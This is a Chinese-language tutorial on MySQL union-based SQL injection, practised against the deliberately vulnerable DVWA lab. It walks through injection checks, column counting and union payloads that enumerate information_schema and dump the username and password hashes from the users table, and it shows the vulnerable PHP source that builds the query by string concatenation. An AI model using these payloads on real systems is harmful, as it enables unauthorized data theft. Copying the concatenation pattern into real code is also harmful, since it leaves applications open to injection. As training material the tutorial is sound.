MYSQL-1-联合注入
联合注入:通过union,合并前后select查询结果,union关键字后查询由攻击者指定。
以dvwa作为测试环境。
1 数据库基础
1.1 显示数据库
1 2 3 4 5 6 7 8 9 10 11
| mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | dvwa | | mysql | | performance_schema | | test | +--------------------+ 5 rows in set (0.00 sec)
|
1.2 选择数据库
1 2 3 4 5 6 7 8 9 10
| mysql> use dvwa; Database changed mysql> show tables; +----------------+ | Tables_in_dvwa | +----------------+ | guestbook | | users | +----------------+ 2 rows in set (0.00 sec)
|
1.3 查看表结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| mysql> desc users; +--------------+-------------+------+-----+-------------------+----------------- ------------+ | Field | Type | Null | Key | Default | Extra | +--------------+-------------+------+-----+-------------------+----------------- ------------+ | user_id | int(6) | NO | PRI | 0 | | | first_name | varchar(15) | YES | | NULL | | | last_name | varchar(15) | YES | | NULL | | | user | varchar(15) | YES | | NULL | | | password | varchar(32) | YES | | NULL | | | avatar | varchar(70) | YES | | NULL | | | last_login | timestamp | NO | | CURRENT_TIMESTAMP | on update CURREN T_TIMESTAMP | | failed_login | int(3) | YES | | NULL | | +--------------+-------------+------+-----+-------------------+----------------- ------------+
|
1.4 查询数据
1 2 3 4 5 6 7 8 9 10 11
| mysql> select user,password from users; +---------+----------------------------------+ | user | password | +---------+----------------------------------+ | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | gordonb | e99a18c428cb38d5f260853678922e03 | | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | +---------+----------------------------------+ 5 rows in set (0.00 sec)
|
1.5 联合查询
1 2 3 4 5 6 7 8 9 10 11 12
| mysql> select user,password from users union select 1,2; +---------+----------------------------------+ | user | password | +---------+----------------------------------+ | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | gordonb | e99a18c428cb38d5f260853678922e03 | | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | +---------+----------------------------------+ 6 rows in set (0.00 sec)
|
information_schema数据库在mysql的版本5.0之后出现。
在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
2 注入步骤
注入的本质:攻击者可操控后台执行的sql语句,使本应该作为数据的部分,充当了语义执行而产生注入。
对于注入语句的要求:
通常由三部分组成
前缀 + 语句 + 后缀
前缀和后缀通过与原有执行部分形成闭合,使sql语句有效。通过在语句部分构造查询语句,获取数据库内容。
2.1 注入判断
对于任何存在用户可控输入的参数,都是我们测试的选择,部分参数隐藏在post表单,ajax请求、js等,对于这些可通过burp抓包获取。
输入 1时,dvwa显示了id为1的用户名称。
输入0
时,无结果输出,此时可判断数据库中不存在id为0的用户。
输入'
时,dvwa产生了报错。我们要思考,在这里它为什么会产生报错,对于一些符号的使用,它是配对的,''
、""
、{}
等,当出现符号不匹配时,此时mysql会产生报错,由此可推测输入参数由''
单引号包裹。此时通过闭合前后单引号,构造语句,获取数据。
1
| You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''0''' at line 1
|
1 2 3 4
| http://localhost/DVWA-master/vulnerabilities/sqli/?id=1%27%20or%201=1--%20%20&Submit=Submit#
0' OR 1=1 -- OR 1=1 为永真- 前缀 语句 后缀
|
通过0' OR 1=1 --
执行,返回结果,此时结果发生改变,数据库执行了我们构造的语句,证明存在注入。
2.2 字段数量判断
union联合查询要求,前后查询字段数量相同。
order by 排序
通过order by 排序指定查询列,如果不存在,则数据库报错。
数据库查询结果:
dvwa测试:
可判断出select查询语句字段数为2。
select … into
原理?
数据库查询结果:
dvwa:
不正确直接报错,正确不输出结果
1
| 1' limit 1,1 into @,@,@ --
|
已知表名判断
原理?
2.3 判断显位
显位指后端将查询结果输出到前端页面的字段,通过操纵该字段返回数据。
1,2 都输出到了前端页面,所以此时,这两个字段都可以作为显位。
2.4 获取数据库
在mysql低于特定版本时,此时没有information_schema数据库,对于数据库、表、字段的获取,只能够通过暴力猜解来完成。
数据库:
dvwa:
1
| 0' union select schema_name,2 from information_schema.schemata--
|
1
| 0' union select group_concat(schema_name),2 from information_schema.schemata--
|
2.5 获取表
数据库:
dvwa:
1
| 0' union select table_name,2 from information_schema.tables where table_schema='dvwa'--
|
2.6 获取字段
数据库:
dvwa:
1
| 0' union select column_name,2 from information_schema.columns where table_name='users'--
|
2.7 获取数据
数据库:
dvwa:
1
| 0' union select group_concat(user,0x7e,password),2 from users--
|
3 注入总结
1
| 注入语句,如存在编码问题,可使用十六进制编码后传入 hex
|
获取数据库名 |
select schema_name from information_schema.schemata |
获取表名 |
select table_name from information_schema.tables where table_schema=’数据库名’ |
获取列名 |
select column_name from information_schema.columns where table_name=’表名’ |
获取数据 |
select 字段 from 表 |
|
|
4 原理探究
dvwa low.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
if( isset( $_REQUEST[ 'Submit' ] ) ) { //判断请求中是否有Submit参数 // Get input $id = $_REQUEST[ 'id' ]; // 取出参数为id的值
// Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; // id直接与查询语句进行了拼合 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //sql查询
// Get results // 返回结果 while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"];
// Feedback for end user $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; }
mysqli_close($GLOBALS["___mysqli_ston"]); }
?>
|
1
| SELECT first_name, last_name FROM users WHERE user_id = '$id';
|
$id 为我们传入的参数,此时通过闭合前后单引号,构造语句进行数据查询。
因为传入参数直接与sql语句进行拼合,导致sql注入的产生。